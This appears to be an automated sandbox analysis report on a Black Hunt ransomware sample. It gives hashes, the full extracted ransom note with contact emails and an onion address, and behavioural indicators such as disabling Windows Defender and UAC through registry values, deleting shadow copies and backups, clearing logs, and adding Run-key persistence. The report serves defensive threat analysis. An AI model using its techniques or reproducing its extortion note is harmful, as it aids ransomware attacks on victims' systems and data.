6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:40

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General

Target

6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Size

707KB
MD5

bd832d91e87c94446cac9a4a1faef941
SHA1

70350177b274b65b0abfede3b10ebd74dde2fd08
SHA256

6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5
SHA512

656073224d1fe39295d3434a733ee22b84c86f9713f102f66ae4a5148134d73a2128b5bcd39a26dd8424f1d2bfab667d61d2dada41a6158417129a0d30c729e0
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1E8pvnh:6uaTmkZJ+naie5OTamgEoKxLWHNh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 6R2JYpoL8Dmp7fvw </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2928	fsutil.exe
2640	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1332	wevtutil.exe
3140	wevtutil.exe
1600	wevtutil.exe
892	wevtutil.exe
1280	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2776	bcdedit.exe
1624	bcdedit.exe
1724	bcdedit.exe
3396	bcdedit.exe

Renames multiple (2893) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2304	wbadmin.exe
2648	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2628	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\O:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\H:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\V:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\U:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\Y:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\P:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\T:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\X:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\R:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\I:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\S:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\L:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\B:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\M:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\E:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\K:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\A:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\J:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\Z:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\N:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\Q:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core.xml	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerEvaluators.exsd	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Makassar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\about.html	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-io.xml	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sitka	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup-impl.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files (x86)\Google\Update\Download\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Detroit	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\WET	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.properties	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.xml	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jre7\lib\applet\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Vostok	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\Flash.mpp	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
